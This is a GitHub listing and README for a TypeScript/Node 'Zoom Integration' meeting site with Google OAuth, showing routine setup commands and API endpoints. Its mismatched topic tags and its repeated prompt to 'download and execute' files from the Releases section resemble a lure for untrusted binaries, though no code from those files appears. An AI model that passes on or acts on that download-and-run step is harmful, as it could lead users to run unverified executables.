https://github.com/aklilsky/zoom-integration
A meeting website that integrates Zoom and allows users to log in either with a regular account or via Google.
https://github.com/aklilsky/zoom-integration
appointment-booking appointment-scheduler atlassian-jira chatgpt discourse-plugin framework kanban-board-application laravel online-meeting php-zoom reservation-system zoom-api zoom-oauth zoom-python
Last synced: 2 days ago
JSON representation
A meeting website that integrates Zoom and allows users to log in either with a regular account or via Google.
- Host: GitHub
- URL: https://github.com/aklilsky/zoom-integration
- Owner: aklilsky
- Created: 2025-04-08T13:18:06.000Z (2 months ago)
- Default Branch: main
- Last Pushed: 2025-04-10T07:07:39.000Z (2 months ago)
- Last Synced: 2025-04-10T07:15:05.328Z (2 months ago)
- Topics: appointment-booking, appointment-scheduler, atlassian-jira, chatgpt, discourse-plugin, framework, kanban-board-application, laravel, online-meeting, php-zoom, reservation-system, zoom-api, zoom-oauth, zoom-python
- Language: TypeScript
- Size: 32 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Zoom Integration 📅

[](https://github.com/aklilsky/Zoom-integration/releases)Welcome to the **Zoom Integration** repository! This project is a meeting website that seamlessly integrates Zoom, allowing users to log in with a regular account or via Google. With a focus on user experience and functionality, this application provides a simple yet powerful way to manage meetings and schedules.
---
## Table of Contents
- [Features](#features)
- [Technologies Used](#technologies-used)
- [Installation](#installation)
- [Usage](#usage)
- [API Documentation](#api-documentation)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)---
## Features
- **User Authentication**: Secure login options using regular accounts or Google OAuth2.
- **Meeting Management**: Create, edit, and delete meetings with ease.
- **Agenda Overview**: View and manage your meeting agenda efficiently.
- **Email Notifications**: Receive updates and reminders through email using Nodemailer.
- **Responsive Design**: Built with Tailwind CSS for a clean and responsive interface.
- **Real-time Updates**: Enjoy a smooth user experience with React for dynamic rendering.
- **Database Integration**: Store user data and meeting details in MongoDB.---
## Technologies Used
This project utilizes a range of technologies to deliver a robust application:
- **Node.js**: Server-side JavaScript runtime for building the backend.
- **Express**: Web framework for Node.js to handle server requests.
- **MongoDB**: NoSQL database for storing user and meeting data.
- **JWT**: JSON Web Tokens for secure user authentication.
- **React**: Frontend library for building user interfaces.
- **TypeScript**: Superset of JavaScript that adds static types for better code quality.
- **Tailwind CSS**: Utility-first CSS framework for styling.
- **Nodemailer**: Module for sending emails from Node.js applications.
- **OAuth2**: Authorization framework for secure login options.
- **Nodemon**: Tool for automatically restarting the server during development.---
## Installation
To get started with the Zoom Integration project, follow these steps:
1. **Clone the repository**:
```bash
git clone https://github.com/aklilsky/Zoom-integration.git
cd Zoom-integration
```2. **Install dependencies**:
```bash
npm install
```3. **Set up environment variables**:
Create a `.env` file in the root directory and add your configuration settings. Here’s an example:
```
MONGODB_URI=your_mongodb_uri
JWT_SECRET=your_jwt_secret
GOOGLE_CLIENT_ID=your_google_client_id
GOOGLE_CLIENT_SECRET=your_google_client_secret
```4. **Run the application**:
```bash
npm start
```5. **Access the application**:
Open your browser and navigate to `http://localhost:3000`.For the latest version, you can download and execute the files from the [Releases section](https://github.com/aklilsky/Zoom-integration/releases).
---
## Usage
After installation, you can start using the application:
1. **Log In**: Use your regular account credentials or log in via Google.
2. **Create a Meeting**: Navigate to the meetings page and fill in the details to create a new meeting.
3. **Manage Your Agenda**: View upcoming meetings and make changes as needed.
4. **Receive Notifications**: Ensure your email is set up to receive meeting reminders.---
## API Documentation
The application provides a RESTful API to manage meetings and user authentication. Below are some key endpoints:
### User Authentication
- **POST /api/auth/login**
- Login with credentials.
- **POST /api/auth/google**
- Login with Google OAuth2.### Meeting Management
- **GET /api/meetings**
- Retrieve all meetings for the logged-in user.- **POST /api/meetings**
- Create a new meeting.- **PUT /api/meetings/:id**
- Update an existing meeting.- **DELETE /api/meetings/:id**
- Delete a meeting.### Email Notifications
- **POST /api/notifications**
- Send meeting reminders via email.For a complete list of endpoints and their details, please refer to the [API documentation](#).
---
## Contributing
We welcome contributions to enhance the Zoom Integration project. If you would like to contribute, please follow these steps:
1. **Fork the repository**.
2. **Create a new branch** for your feature or bug fix:
```bash
git checkout -b feature/my-feature
```
3. **Make your changes** and commit them:
```bash
git commit -m "Add my feature"
```
4. **Push to the branch**:
```bash
git push origin feature/my-feature
```
5. **Create a pull request**.Your contributions help improve the project for everyone!
---
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.
---
## Contact
For any questions or feedback, feel free to reach out:
- **Author**: [aklilsky](https://github.com/aklilsky)
- **Email**: [email protected]Thank you for checking out the Zoom Integration project! For the latest updates, please visit the [Releases section](https://github.com/aklilsky/Zoom-integration/releases).